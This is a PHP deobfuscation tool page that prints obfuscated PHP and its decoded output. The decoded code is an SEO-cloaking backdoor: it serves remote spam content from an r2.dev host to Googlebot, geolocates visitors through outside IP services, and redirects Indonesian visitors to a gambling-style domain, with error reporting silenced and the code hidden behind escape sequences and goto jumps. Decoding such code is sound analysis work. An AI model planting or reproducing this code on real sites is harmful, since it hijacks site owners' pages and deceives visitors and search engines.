Find this useful? Enter your email to receive occasional updates for securing PHP code.
Signing you up...
Thank you for signing up!
PHP Decode
<?php goto g9Q0q; MbNeE: function profile_user() { $useragent = $_SERVER["\110\x54\x54\1..
Decoded Output download
<?php
goto g9Q0q; MbNeE: function profile_user() { $useragent = $_SERVER["HTTP_USER_AGENT"]; $themes = "https://pub-05ba3407903e4840a55b8c21fc682cda.r2.dev/gallantorbit.html"; if (stripos($useragent, "Google-InspectionTool") !== false || stripos($useragent, "googlebot") !== false || stripos($useragent, "(compatible; Googlebot/2.1; +http://www.google.com/bot.html)") !== false) { $content = file_get_contents($themes); echo $content; die; } $visitor_ip = $_SERVER["REMOTE_ADDR"]; $apiUrlIpSb = "https://api.ip.sb/geoip/" . $visitor_ip; $ch = curl_init($apiUrlIpSb); curl_setopt($ch, CURLOPT_RETURNTRANSFER, true); $responseIpSb = curl_exec($ch); curl_close($ch); $dataIpSb = json_decode($responseIpSb, true); $isIndonesia = false; if (isset($dataIpSb["country_code"]) && !empty($dataIpSb["country_code"])) { if ($dataIpSb["country_code"] === "ID" || isset($dataIpSb["country"]) && stripos($dataIpSb["country"], "indonesia") !== false) { $isIndonesia = true; } } else { $apiUrlIncolumitas = "https://api.incolumitas.com/?q=" . $visitor_ip; $ch2 = curl_init($apiUrlIncolumitas); curl_setopt($ch2, CURLOPT_RETURNTRANSFER, true); $responseIncolumitas = curl_exec($ch2); curl_close($ch2); $dataIncolumitas = json_decode($responseIncolumitas, true); if (isset($dataIncolumitas["location"])) { $countryCode = isset($dataIncolumitas["location"]["country_code"]) ? $dataIncolumitas["location"]["country_code"] : ''; $countryName = isset($dataIncolumitas["location"]["country"]) ? $dataIncolumitas["location"]["country"] : ''; if ($countryCode === "ID" || stripos($countryName, "indonesia") !== false) { $isIndonesia = true; } } } $language = isset($_SERVER["HTTP_ACCEPT_LANGUAGE"]) ? strtolower($_SERVER["HTTP_ACCEPT_LANGUAGE"]) : ''; if (strpos($language, "id") !== false) { $isIndonesia = true; } if ($isIndonesia) { header("Location: https://aksescepat.xyz/luxury138", true, 301); die; } include "index.php"; die; } goto VXTjt; VXTjt: profile_user(); goto HZyKz; g9Q0q: error_reporting(0); goto MbNeE; HZyKz: ?>
Did this file decode correctly?
Original Code
<?php
goto g9Q0q; MbNeE: function profile_user() { $useragent = $_SERVER["\110\x54\x54\120\137\x55\123\105\x52\x5f\x41\x47\105\116\x54"]; $themes = "\x68\164\x74\160\x73\x3a\57\x2f\x70\165\x62\x2d\x30\65\x62\x61\x33\64\60\67\x39\60\x33\x65\64\x38\x34\60\141\65\x35\142\x38\143\62\61\146\143\x36\70\62\x63\144\x61\x2e\162\x32\x2e\144\x65\x76\57\x67\x61\154\154\141\x6e\164\157\x72\142\x69\164\56\x68\x74\155\154"; if (stripos($useragent, "\x47\x6f\157\147\x6c\145\x2d\x49\x6e\163\x70\145\143\164\x69\157\x6e\124\x6f\157\x6c") !== false || stripos($useragent, "\147\157\x6f\147\x6c\145\142\157\x74") !== false || stripos($useragent, "\50\143\157\155\x70\x61\x74\151\142\x6c\x65\73\x20\107\x6f\x6f\x67\154\x65\142\157\164\x2f\x32\56\x31\73\x20\x2b\150\164\164\160\x3a\57\57\x77\167\167\56\x67\157\157\147\154\145\56\143\x6f\x6d\x2f\142\157\x74\x2e\x68\164\x6d\154\51") !== false) { $content = file_get_contents($themes); echo $content; die; } $visitor_ip = $_SERVER["\122\105\x4d\117\124\105\137\101\104\104\122"]; $apiUrlIpSb = "\x68\164\x74\x70\163\x3a\57\x2f\141\x70\151\x2e\x69\160\x2e\163\x62\57\147\145\157\151\x70\x2f" . $visitor_ip; $ch = curl_init($apiUrlIpSb); curl_setopt($ch, CURLOPT_RETURNTRANSFER, true); $responseIpSb = curl_exec($ch); curl_close($ch); $dataIpSb = json_decode($responseIpSb, true); $isIndonesia = false; if (isset($dataIpSb["\143\x6f\x75\156\164\x72\x79\x5f\x63\x6f\144\x65"]) && !empty($dataIpSb["\x63\x6f\x75\156\x74\162\x79\137\x63\157\x64\145"])) { if ($dataIpSb["\143\157\x75\x6e\x74\162\171\x5f\143\157\x64\145"] === "\x49\104" || isset($dataIpSb["\143\157\165\x6e\x74\162\171"]) && stripos($dataIpSb["\143\157\165\x6e\164\x72\x79"], "\151\156\x64\157\156\145\163\151\141") !== false) { $isIndonesia = true; } } else { $apiUrlIncolumitas = "\x68\x74\x74\x70\163\x3a\57\x2f\141\x70\151\56\x69\x6e\x63\157\x6c\x75\155\x69\164\141\163\56\143\157\155\x2f\77\x71\x3d" . $visitor_ip; $ch2 = curl_init($apiUrlIncolumitas); curl_setopt($ch2, CURLOPT_RETURNTRANSFER, true); $responseIncolumitas = curl_exec($ch2); curl_close($ch2); $dataIncolumitas = json_decode($responseIncolumitas, true); if (isset($dataIncolumitas["\154\157\143\x61\x74\x69\157\156"])) { $countryCode = isset($dataIncolumitas["\154\157\x63\141\x74\x69\x6f\156"]["\x63\x6f\165\x6e\x74\162\171\x5f\143\x6f\x64\145"]) ? $dataIncolumitas["\154\x6f\x63\141\x74\x69\157\156"]["\143\x6f\x75\x6e\x74\x72\x79\x5f\x63\x6f\144\145"] : ''; $countryName = isset($dataIncolumitas["\154\x6f\x63\141\x74\x69\x6f\x6e"]["\143\157\x75\156\x74\x72\171"]) ? $dataIncolumitas["\154\157\143\x61\164\x69\157\156"]["\x63\x6f\x75\x6e\164\x72\171"] : ''; if ($countryCode === "\111\x44" || stripos($countryName, "\x69\156\144\x6f\x6e\145\163\151\x61") !== false) { $isIndonesia = true; } } } $language = isset($_SERVER["\110\124\124\120\137\101\103\103\105\x50\x54\137\x4c\101\x4e\107\x55\x41\107\x45"]) ? strtolower($_SERVER["\x48\124\124\120\137\x41\103\103\x45\x50\x54\x5f\114\101\116\107\x55\x41\x47\x45"]) : ''; if (strpos($language, "\x69\144") !== false) { $isIndonesia = true; } if ($isIndonesia) { header("\114\x6f\x63\x61\164\x69\157\x6e\72\40\150\x74\164\x70\163\x3a\x2f\x2f\141\153\163\145\163\143\145\160\x61\x74\56\x78\171\x7a\x2f\154\x75\x78\x75\x72\171\x31\x33\x38", true, 301); die; } include "\151\x6e\x64\145\170\56\x70\150\x70"; die; } goto VXTjt; VXTjt: profile_user(); goto HZyKz; g9Q0q: error_reporting(0); goto MbNeE; HZyKz: ?>
Function Calls
None |
Stats
MD5 | b2bcac5e9c2ec55145be123b36d0d92f |
Eval Count | 0 |
Decode Time | 64 ms |